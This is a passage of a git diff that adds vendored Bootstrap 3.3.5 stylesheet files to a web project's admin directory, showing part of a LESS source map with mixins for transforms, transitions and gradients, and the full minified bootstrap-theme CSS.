-webkit-transform: rotate(@degrees);\n -ms-transform: rotate(@degrees); // IE9 only\n -o-transform: rotate(@degrees);\n transform: rotate(@degrees);\n}\n.rotateX(@degrees) {\n -webkit-transform: rotateX(@degrees);\n -ms-transform: rotateX(@degrees); // IE9 only\n -o-transform: rotateX(@degrees);\n transform: rotateX(@degrees);\n}\n.rotateY(@degrees) {\n -webkit-transform: rotateY(@degrees);\n -ms-transform: rotateY(@degrees); // IE9 only\n -o-transform: rotateY(@degrees);\n transform: rotateY(@degrees);\n}\n.perspective(@perspective) {\n -webkit-perspective: @perspective;\n -moz-perspective: @perspective;\n perspective: @perspective;\n}\n.perspective-origin(@perspective) {\n -webkit-perspective-origin: @perspective;\n -moz-perspective-origin: @perspective;\n perspective-origin: @perspective;\n}\n.transform-origin(@origin) {\n -webkit-transform-origin: @origin;\n -moz-transform-origin: @origin;\n -ms-transform-origin: @origin; // IE9 only\n transform-origin: @origin;\n}\n\n\n// Transitions\n\n.transition(@transition) {\n -webkit-transition: @transition;\n -o-transition: @transition;\n transition: @transition;\n}\n.transition-property(@transition-property) {\n -webkit-transition-property: @transition-property;\n transition-property: @transition-property;\n}\n.transition-delay(@transition-delay) {\n -webkit-transition-delay: @transition-delay;\n transition-delay: @transition-delay;\n}\n.transition-duration(@transition-duration) {\n -webkit-transition-duration: @transition-duration;\n transition-duration: @transition-duration;\n}\n.transition-timing-function(@timing-function) {\n -webkit-transition-timing-function: @timing-function;\n transition-timing-function: @timing-function;\n}\n.transition-transform(@transition) {\n -webkit-transition: -webkit-transform @transition;\n -moz-transition: -moz-transform @transition;\n -o-transition: -o-transform @transition;\n transition: transform @transition;\n}\n\n\n// User select\n// For selecting text on the page\n\n.user-select(@select) {\n -webkit-user-select: @select;\n -moz-user-select: @select;\n -ms-user-select: @select; // IE10+\n user-select: @select;\n}\n","// Gradients\n\n#gradient {\n\n // Horizontal gradient, from left to right\n //\n // Creates two color stops, start and end, by specifying a color and position for each color stop.\n // Color stops are not available in IE9 and below.\n .horizontal(@start-color: #555; @end-color: #333; @start-percent: 0%; @end-percent: 100%) {\n background-image: -webkit-linear-gradient(left, @start-color @start-percent, @end-color @end-percent); // Safari 5.1-6, Chrome 10+\n background-image: -o-linear-gradient(left, @start-color @start-percent, @end-color @end-percent); // Opera 12\n background-image: linear-gradient(to right, @start-color @start-percent, @end-color @end-percent); // Standard, IE10, Firefox 16+, Opera 12.10+, Safari 7+, Chrome 26+\n background-repeat: repeat-x;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=1)\",argb(@start-color),argb(@end-color))); // IE9 and down\n }\n\n // Vertical gradient, from top to bottom\n //\n // Creates two color stops, start and end, by specifying a color and position for each color stop.\n // Color stops are not available in IE9 and below.\n .vertical(@start-color: #555; @end-color: #333; @start-percent: 0%; @end-percent: 100%) {\n background-image: -webkit-linear-gradient(top, @start-color @start-percent, @end-color @end-percent); // Safari 5.1-6, Chrome 10+\n background-image: -o-linear-gradient(top, @start-color @start-percent, @end-color @end-percent); // Opera 12\n background-image: linear-gradient(to bottom, @start-color @start-percent, @end-color @end-percent); // Standard, IE10, Firefox 16+, Opera 12.10+, Safari 7+, Chrome 26+\n background-repeat: repeat-x;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=0)\",argb(@start-color),argb(@end-color))); // IE9 and down\n }\n\n .directional(@start-color: #555; @end-color: #333; @deg: 45deg) {\n background-repeat: repeat-x;\n background-image: -webkit-linear-gradient(@deg, @start-color, @end-color); // Safari 5.1-6, Chrome 10+\n background-image: -o-linear-gradient(@deg, @start-color, @end-color); // Opera 12\n background-image: linear-gradient(@deg, @start-color, @end-color); // Standard, IE10, Firefox 16+, Opera 12.10+, Safari 7+, Chrome 26+\n }\n .horizontal-three-colors(@start-color: #00b3ee; @mid-color: #7a43b6; @color-stop: 50%; @end-color: #c3325f) {\n background-image: -webkit-linear-gradient(left, @start-color, @mid-color @color-stop, @end-color);\n background-image: -o-linear-gradient(left, @start-color, @mid-color @color-stop, @end-color);\n background-image: linear-gradient(to right, @start-color, @mid-color @color-stop, @end-color);\n background-repeat: no-repeat;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=1)\",argb(@start-color),argb(@end-color))); // IE9 and down, gets no color-stop at all for proper fallback\n }\n .vertical-three-colors(@start-color: #00b3ee; @mid-color: #7a43b6; @color-stop: 50%; @end-color: #c3325f) {\n background-image: -webkit-linear-gradient(@start-color, @mid-color @color-stop, @end-color);\n background-image: -o-linear-gradient(@start-color, @mid-color @color-stop, @end-color);\n background-image: linear-gradient(@start-color, @mid-color @color-stop, @end-color);\n background-repeat: no-repeat;\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(startColorstr='%d', endColorstr='%d', GradientType=0)\",argb(@start-color),argb(@end-color))); // IE9 and down, gets no color-stop at all for proper fallback\n }\n .radial(@inner-color: #555; @outer-color: #333) {\n background-image: -webkit-radial-gradient(circle, @inner-color, @outer-color);\n background-image: radial-gradient(circle, @inner-color, @outer-color);\n background-repeat: no-repeat;\n }\n .striped(@color: rgba(255,255,255,.15); @angle: 45deg) {\n background-image: -webkit-linear-gradient(@angle, @color 25%, transparent 25%, transparent 50%, @color 50%, @color 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(@angle, @color 25%, transparent 25%, transparent 50%, @color 50%, @color 75%, transparent 75%, transparent);\n background-image: linear-gradient(@angle, @color 25%, transparent 25%, transparent 50%, @color 50%, @color 75%, transparent 75%, transparent);\n }\n}\n","// Reset filters for IE\n//\n// When you need to remove a gradient background, do not forget to use this to reset\n// the IE filter for IE9 and below.\n\n.reset-filter() {\n filter: e(%(\"progid:DXImageTransform.Microsoft.gradient(enabled = false)\"));\n}\n"]}
\ No newline at end of file
diff --git a/public/admin/view/javascript/bootstrap/css/bootstrap-theme.min.css b/public/admin/view/javascript/bootstrap/css/bootstrap-theme.min.css
new file mode 100644
index 0000000..61358b1
--- /dev/null
+++ b/public/admin/view/javascript/bootstrap/css/bootstrap-theme.min.css
@@ -0,0 +1,5 @@
+/*!
+ * Bootstrap v3.3.5 (http://getbootstrap.com)
+ * Copyright 2011-2015 Twitter, Inc.
+ * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+ */.btn-danger,.btn-default,.btn-info,.btn-primary,.btn-success,.btn-warning{text-shadow:0 -1px 0 rgba(0,0,0,.2);-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.15),0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 0 rgba(255,255,255,.15),0 1px 1px rgba(0,0,0,.075)}.btn-danger.active,.btn-danger:active,.btn-default.active,.btn-default:active,.btn-info.active,.btn-info:active,.btn-primary.active,.btn-primary:active,.btn-success.active,.btn-success:active,.btn-warning.active,.btn-warning:active{-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);box-shadow:inset 0 3px 5px rgba(0,0,0,.125)}.btn-danger.disabled,.btn-danger[disabled],.btn-default.disabled,.btn-default[disabled],.btn-info.disabled,.btn-info[disabled],.btn-primary.disabled,.btn-primary[disabled],.btn-success.disabled,.btn-success[disabled],.btn-warning.disabled,.btn-warning[disabled],fieldset[disabled] .btn-danger,fieldset[disabled] .btn-default,fieldset[disabled] .btn-info,fieldset[disabled] .btn-primary,fieldset[disabled] .btn-success,fieldset[disabled] .btn-warning{-webkit-box-shadow:none;box-shadow:none}.btn-danger .badge,.btn-default .badge,.btn-info .badge,.btn-primary .badge,.btn-success .badge,.btn-warning .badge{text-shadow:none}.btn.active,.btn:active{background-image:none}.btn-default{text-shadow:0 1px 0 #fff;background-image:-webkit-linear-gradient(top,#fff 0,#e0e0e0 100%);background-image:-o-linear-gradient(top,#fff 0,#e0e0e0 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e0e0e0));background-image:linear-gradient(to bottom,#fff 0,#e0e0e0 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#ffe0e0e0', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#dbdbdb;border-color:#ccc}.btn-default:focus,.btn-default:hover{background-color:#e0e0e0;background-position:0 -15px}.btn-default.active,.btn-default:active{background-color:#e0e0e0;border-color:#dbdbdb}.btn-default.disabled,.btn-default.disabled.active,.btn-default.disabled.focus,.btn-default.disabled:active,.btn-default.disabled:focus,.btn-default.disabled:hover,.btn-default[disabled],.btn-default[disabled].active,.btn-default[disabled].focus,.btn-default[disabled]:active,.btn-default[disabled]:focus,.btn-default[disabled]:hover,fieldset[disabled] .btn-default,fieldset[disabled] .btn-default.active,fieldset[disabled] .btn-default.focus,fieldset[disabled] .btn-default:active,fieldset[disabled] .btn-default:focus,fieldset[disabled] .btn-default:hover{background-color:#e0e0e0;background-image:none}.btn-primary{background-image:-webkit-linear-gradient(top,#337ab7 0,#265a88 100%);background-image:-o-linear-gradient(top,#337ab7 0,#265a88 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#265a88));background-image:linear-gradient(to bottom,#337ab7 0,#265a88 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff265a88', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#245580}.btn-primary:focus,.btn-primary:hover{background-color:#265a88;background-position:0 -15px}.btn-primary.active,.btn-primary:active{background-color:#265a88;border-color:#245580}.btn-primary.disabled,.btn-primary.disabled.active,.btn-primary.disabled.focus,.btn-primary.disabled:active,.btn-primary.disabled:focus,.btn-primary.disabled:hover,.btn-primary[disabled],.btn-primary[disabled].active,.btn-primary[disabled].focus,.btn-primary[disabled]:active,.btn-primary[disabled]:focus,.btn-primary[disabled]:hover,fieldset[disabled] .btn-primary,fieldset[disabled] .btn-primary.active,fieldset[disabled] .btn-primary.focus,fieldset[disabled] .btn-primary:active,fieldset[disabled] .btn-primary:focus,fieldset[disabled] .btn-primary:hover{background-color:#265a88;background-image:none}.btn-success{background-image:-webkit-linear-gradient(top,#5cb85c 0,#419641 100%);background-image:-o-linear-gradient(top,#5cb85c 0,#419641 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#5cb85c),to(#419641));background-image:linear-gradient(to bottom,#5cb85c 0,#419641 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff419641', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#3e8f3e}.btn-success:focus,.btn-success:hover{background-color:#419641;background-position:0 -15px}.btn-success.active,.btn-success:active{background-color:#419641;border-color:#3e8f3e}.btn-success.disabled,.btn-success.disabled.active,.btn-success.disabled.focus,.btn-success.disabled:active,.btn-success.disabled:focus,.btn-success.disabled:hover,.btn-success[disabled],.btn-success[disabled].active,.btn-success[disabled].focus,.btn-success[disabled]:active,.btn-success[disabled]:focus,.btn-success[disabled]:hover,fieldset[disabled] .btn-success,fieldset[disabled] .btn-success.active,fieldset[disabled] .btn-success.focus,fieldset[disabled] .btn-success:active,fieldset[disabled] .btn-success:focus,fieldset[disabled] .btn-success:hover{background-color:#419641;background-image:none}.btn-info{background-image:-webkit-linear-gradient(top,#5bc0de 0,#2aabd2 100%);background-image:-o-linear-gradient(top,#5bc0de 0,#2aabd2 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#5bc0de),to(#2aabd2));background-image:linear-gradient(to bottom,#5bc0de 0,#2aabd2 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff2aabd2', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#28a4c9}.btn-info:focus,.btn-info:hover{background-color:#2aabd2;background-position:0 -15px}.btn-info.active,.btn-info:active{background-color:#2aabd2;border-color:#28a4c9}.btn-info.disabled,.btn-info.disabled.active,.btn-info.disabled.focus,.btn-info.disabled:active,.btn-info.disabled:focus,.btn-info.disabled:hover,.btn-info[disabled],.btn-info[disabled].active,.btn-info[disabled].focus,.btn-info[disabled]:active,.btn-info[disabled]:focus,.btn-info[disabled]:hover,fieldset[disabled] .btn-info,fieldset[disabled] .btn-info.active,fieldset[disabled] .btn-info.focus,fieldset[disabled] .btn-info:active,fieldset[disabled] .btn-info:focus,fieldset[disabled] .btn-info:hover{background-color:#2aabd2;background-image:none}.btn-warning{background-image:-webkit-linear-gradient(top,#f0ad4e 0,#eb9316 100%);background-image:-o-linear-gradient(top,#f0ad4e 0,#eb9316 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f0ad4e),to(#eb9316));background-image:linear-gradient(to bottom,#f0ad4e 0,#eb9316 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffeb9316', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#e38d13}.btn-warning:focus,.btn-warning:hover{background-color:#eb9316;background-position:0 -15px}.btn-warning.active,.btn-warning:active{background-color:#eb9316;border-color:#e38d13}.btn-warning.disabled,.btn-warning.disabled.active,.btn-warning.disabled.focus,.btn-warning.disabled:active,.btn-warning.disabled:focus,.btn-warning.disabled:hover,.btn-warning[disabled],.btn-warning[disabled].active,.btn-warning[disabled].focus,.btn-warning[disabled]:active,.btn-warning[disabled]:focus,.btn-warning[disabled]:hover,fieldset[disabled] .btn-warning,fieldset[disabled] .btn-warning.active,fieldset[disabled] .btn-warning.focus,fieldset[disabled] .btn-warning:active,fieldset[disabled] .btn-warning:focus,fieldset[disabled] .btn-warning:hover{background-color:#eb9316;background-image:none}.btn-danger{background-image:-webkit-linear-gradient(top,#d9534f 0,#c12e2a 100%);background-image:-o-linear-gradient(top,#d9534f 0,#c12e2a 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#d9534f),to(#c12e2a));background-image:linear-gradient(to bottom,#d9534f 0,#c12e2a 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc12e2a', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-color:#b92c28}.btn-danger:focus,.btn-danger:hover{background-color:#c12e2a;background-position:0 -15px}.btn-danger.active,.btn-danger:active{background-color:#c12e2a;border-color:#b92c28}.btn-danger.disabled,.btn-danger.disabled.active,.btn-danger.disabled.focus,.btn-danger.disabled:active,.btn-danger.disabled:focus,.btn-danger.disabled:hover,.btn-danger[disabled],.btn-danger[disabled].active,.btn-danger[disabled].focus,.btn-danger[disabled]:active,.btn-danger[disabled]:focus,.btn-danger[disabled]:hover,fieldset[disabled] .btn-danger,fieldset[disabled] .btn-danger.active,fieldset[disabled] .btn-danger.focus,fieldset[disabled] .btn-danger:active,fieldset[disabled] .btn-danger:focus,fieldset[disabled] .btn-danger:hover{background-color:#c12e2a;background-image:none}.img-thumbnail,.thumbnail{-webkit-box-shadow:0 1px 2px rgba(0,0,0,.075);box-shadow:0 1px 2px rgba(0,0,0,.075)}.dropdown-menu>li>a:focus,.dropdown-menu>li>a:hover{background-color:#e8e8e8;background-image:-webkit-linear-gradient(top,#f5f5f5 0,#e8e8e8 100%);background-image:-o-linear-gradient(top,#f5f5f5 0,#e8e8e8 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#e8e8e8));background-image:linear-gradient(to bottom,#f5f5f5 0,#e8e8e8 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0);background-repeat:repeat-x}.dropdown-menu>.active>a,.dropdown-menu>.active>a:focus,.dropdown-menu>.active>a:hover{background-color:#2e6da4;background-image:-webkit-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-o-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#2e6da4));background-image:linear-gradient(to bottom,#337ab7 0,#2e6da4 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);background-repeat:repeat-x}.navbar-default{background-image:-webkit-linear-gradient(top,#fff 0,#f8f8f8 100%);background-image:-o-linear-gradient(top,#fff 0,#f8f8f8 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#f8f8f8));background-image:linear-gradient(to bottom,#fff 0,#f8f8f8 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#fff8f8f8', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-radius:4px;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.15),0 1px 5px rgba(0,0,0,.075);box-shadow:inset 0 1px 0 rgba(255,255,255,.15),0 1px 5px rgba(0,0,0,.075)}.navbar-default .navbar-nav>.active>a,.navbar-default .navbar-nav>.open>a{background-image:-webkit-linear-gradient(top,#dbdbdb 0,#e2e2e2 100%);background-image:-o-linear-gradient(top,#dbdbdb 0,#e2e2e2 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#dbdbdb),to(#e2e2e2));background-image:linear-gradient(to bottom,#dbdbdb 0,#e2e2e2 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdbdbdb', endColorstr='#ffe2e2e2', GradientType=0);background-repeat:repeat-x;-webkit-box-shadow:inset 0 3px 9px rgba(0,0,0,.075);box-shadow:inset 0 3px 9px rgba(0,0,0,.075)}.navbar-brand,.navbar-nav>li>a{text-shadow:0 1px 0 rgba(255,255,255,.25)}.navbar-inverse{background-image:-webkit-linear-gradient(top,#3c3c3c 0,#222 100%);background-image:-o-linear-gradient(top,#3c3c3c 0,#222 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#3c3c3c),to(#222));background-image:linear-gradient(to bottom,#3c3c3c 0,#222 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff3c3c3c', endColorstr='#ff222222', GradientType=0);filter:progid:DXImageTransform.Microsoft.gradient(enabled=false);background-repeat:repeat-x;border-radius:4px}.navbar-inverse .navbar-nav>.active>a,.navbar-inverse .navbar-nav>.open>a{background-image:-webkit-linear-gradient(top,#080808 0,#0f0f0f 100%);background-image:-o-linear-gradient(top,#080808 0,#0f0f0f 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#080808),to(#0f0f0f));background-image:linear-gradient(to bottom,#080808 0,#0f0f0f 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff080808', endColorstr='#ff0f0f0f', GradientType=0);background-repeat:repeat-x;-webkit-box-shadow:inset 0 3px 9px rgba(0,0,0,.25);box-shadow:inset 0 3px 9px rgba(0,0,0,.25)}.navbar-inverse .navbar-brand,.navbar-inverse .navbar-nav>li>a{text-shadow:0 -1px 0 rgba(0,0,0,.25)}.navbar-fixed-bottom,.navbar-fixed-top,.navbar-static-top{border-radius:0}@media (max-width:767px){.navbar .navbar-nav .open .dropdown-menu>.active>a,.navbar .navbar-nav .open .dropdown-menu>.active>a:focus,.navbar .navbar-nav .open .dropdown-menu>.active>a:hover{color:#fff;background-image:-webkit-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-o-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#2e6da4));background-image:linear-gradient(to bottom,#337ab7 0,#2e6da4 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);background-repeat:repeat-x}}.alert{text-shadow:0 1px 0 rgba(255,255,255,.2);-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.25),0 1px 2px rgba(0,0,0,.05);box-shadow:inset 0 1px 0 rgba(255,255,255,.25),0 1px 2px rgba(0,0,0,.05)}.alert-success{background-image:-webkit-linear-gradient(top,#dff0d8 0,#c8e5bc 100%);background-image:-o-linear-gradient(top,#dff0d8 0,#c8e5bc 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#dff0d8),to(#c8e5bc));background-image:linear-gradient(to bottom,#dff0d8 0,#c8e5bc 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffc8e5bc', GradientType=0);background-repeat:repeat-x;border-color:#b2dba1}.alert-info{background-image:-webkit-linear-gradient(top,#d9edf7 0,#b9def0 100%);background-image:-o-linear-gradient(top,#d9edf7 0,#b9def0 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#d9edf7),to(#b9def0));background-image:linear-gradient(to bottom,#d9edf7 0,#b9def0 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffb9def0', GradientType=0);background-repeat:repeat-x;border-color:#9acfea}.alert-warning{background-image:-webkit-linear-gradient(top,#fcf8e3 0,#f8efc0 100%);background-image:-o-linear-gradient(top,#fcf8e3 0,#f8efc0 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#fcf8e3),to(#f8efc0));background-image:linear-gradient(to bottom,#fcf8e3 0,#f8efc0 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fff8efc0', GradientType=0);background-repeat:repeat-x;border-color:#f5e79e}.alert-danger{background-image:-webkit-linear-gradient(top,#f2dede 0,#e7c3c3 100%);background-image:-o-linear-gradient(top,#f2dede 0,#e7c3c3 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f2dede),to(#e7c3c3));background-image:linear-gradient(to bottom,#f2dede 0,#e7c3c3 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffe7c3c3', GradientType=0);background-repeat:repeat-x;border-color:#dca7a7}.progress{background-image:-webkit-linear-gradient(top,#ebebeb 0,#f5f5f5 100%);background-image:-o-linear-gradient(top,#ebebeb 0,#f5f5f5 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#ebebeb),to(#f5f5f5));background-image:linear-gradient(to bottom,#ebebeb 0,#f5f5f5 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffebebeb', endColorstr='#fff5f5f5', GradientType=0);background-repeat:repeat-x}.progress-bar{background-image:-webkit-linear-gradient(top,#337ab7 0,#286090 100%);background-image:-o-linear-gradient(top,#337ab7 0,#286090 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#286090));background-image:linear-gradient(to bottom,#337ab7 0,#286090 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff286090', GradientType=0);background-repeat:repeat-x}.progress-bar-success{background-image:-webkit-linear-gradient(top,#5cb85c 0,#449d44 100%);background-image:-o-linear-gradient(top,#5cb85c 0,#449d44 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#5cb85c),to(#449d44));background-image:linear-gradient(to bottom,#5cb85c 0,#449d44 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5cb85c', endColorstr='#ff449d44', GradientType=0);background-repeat:repeat-x}.progress-bar-info{background-image:-webkit-linear-gradient(top,#5bc0de 0,#31b0d5 100%);background-image:-o-linear-gradient(top,#5bc0de 0,#31b0d5 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#5bc0de),to(#31b0d5));background-image:linear-gradient(to bottom,#5bc0de 0,#31b0d5 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff31b0d5', GradientType=0);background-repeat:repeat-x}.progress-bar-warning{background-image:-webkit-linear-gradient(top,#f0ad4e 0,#ec971f 100%);background-image:-o-linear-gradient(top,#f0ad4e 0,#ec971f 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f0ad4e),to(#ec971f));background-image:linear-gradient(to bottom,#f0ad4e 0,#ec971f 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff0ad4e', endColorstr='#ffec971f', GradientType=0);background-repeat:repeat-x}.progress-bar-danger{background-image:-webkit-linear-gradient(top,#d9534f 0,#c9302c 100%);background-image:-o-linear-gradient(top,#d9534f 0,#c9302c 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#d9534f),to(#c9302c));background-image:linear-gradient(to bottom,#d9534f 0,#c9302c 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9534f', endColorstr='#ffc9302c', GradientType=0);background-repeat:repeat-x}.progress-bar-striped{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.list-group{border-radius:4px;-webkit-box-shadow:0 1px 2px rgba(0,0,0,.075);box-shadow:0 1px 2px rgba(0,0,0,.075)}.list-group-item.active,.list-group-item.active:focus,.list-group-item.active:hover{text-shadow:0 -1px 0 #286090;background-image:-webkit-linear-gradient(top,#337ab7 0,#2b669a 100%);background-image:-o-linear-gradient(top,#337ab7 0,#2b669a 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#2b669a));background-image:linear-gradient(to bottom,#337ab7 0,#2b669a 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2b669a', GradientType=0);background-repeat:repeat-x;border-color:#2b669a}.list-group-item.active .badge,.list-group-item.active:focus .badge,.list-group-item.active:hover .badge{text-shadow:none}.panel{-webkit-box-shadow:0 1px 2px rgba(0,0,0,.05);box-shadow:0 1px 2px rgba(0,0,0,.05)}.panel-default>.panel-heading{background-image:-webkit-linear-gradient(top,#f5f5f5 0,#e8e8e8 100%);background-image:-o-linear-gradient(top,#f5f5f5 0,#e8e8e8 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#e8e8e8));background-image:linear-gradient(to bottom,#f5f5f5 0,#e8e8e8 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff5f5f5', endColorstr='#ffe8e8e8', GradientType=0);background-repeat:repeat-x}.panel-primary>.panel-heading{background-image:-webkit-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-o-linear-gradient(top,#337ab7 0,#2e6da4 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#337ab7),to(#2e6da4));background-image:linear-gradient(to bottom,#337ab7 0,#2e6da4 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff337ab7', endColorstr='#ff2e6da4', GradientType=0);background-repeat:repeat-x}.panel-success>.panel-heading{background-image:-webkit-linear-gradient(top,#dff0d8 0,#d0e9c6 100%);background-image:-o-linear-gradient(top,#dff0d8 0,#d0e9c6 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#dff0d8),to(#d0e9c6));background-image:linear-gradient(to bottom,#dff0d8 0,#d0e9c6 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffdff0d8', endColorstr='#ffd0e9c6', GradientType=0);background-repeat:repeat-x}.panel-info>.panel-heading{background-image:-webkit-linear-gradient(top,#d9edf7 0,#c4e3f3 100%);background-image:-o-linear-gradient(top,#d9edf7 0,#c4e3f3 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#d9edf7),to(#c4e3f3));background-image:linear-gradient(to bottom,#d9edf7 0,#c4e3f3 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffd9edf7', endColorstr='#ffc4e3f3', GradientType=0);background-repeat:repeat-x}.panel-warning>.panel-heading{background-image:-webkit-linear-gradient(top,#fcf8e3 0,#faf2cc 100%);background-image:-o-linear-gradient(top,#fcf8e3 0,#faf2cc 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#fcf8e3),to(#faf2cc));background-image:linear-gradient(to bottom,#fcf8e3 0,#faf2cc 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffcf8e3', endColorstr='#fffaf2cc', GradientType=0);background-repeat:repeat-x}.panel-danger>.panel-heading{background-image:-webkit-linear-gradient(top,#f2dede 0,#ebcccc 100%);background-image:-o-linear-gradient(top,#f2dede 0,#ebcccc 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#f2dede),to(#ebcccc));background-image:linear-gradient(to bottom,#f2dede 0,#ebcccc 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffebcccc', GradientType=0);background-repeat:repeat-x}.well{background-image:-webkit-linear-gradient(top,#e8e8e8 0,#f5f5f5 100%);background-image:-o-linear-gradient(top,#e8e8e8 0,#f5f5f5 100%);background-image:-webkit-gradient(linear,left top,left bottom,from(#e8e8e8),to(#f5f5f5));background-image:linear-gradient(to bottom,#e8e8e8 0,#f5f5f5 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffe8e8e8', endColorstr='#fff5f5f5', GradientType=0);background-repeat:repeat-x;border-color:#dcdcdc;-webkit-box-shadow:inset 0 1px 3px rgba(0,0,0,.05),0 1px 0 rgba(255,255,255,.1);box-shadow:inset 0 1px 3px rgba(0,0,0,.05),0 1px 0 rgba(255,255,255,.1)}
\ No newline at end of file
diff --git a/public/admin/view/javascript/bootstrap/css/bootstrap.css b/public/admin/view/javascript/bootstrap/css/bootstrap.css
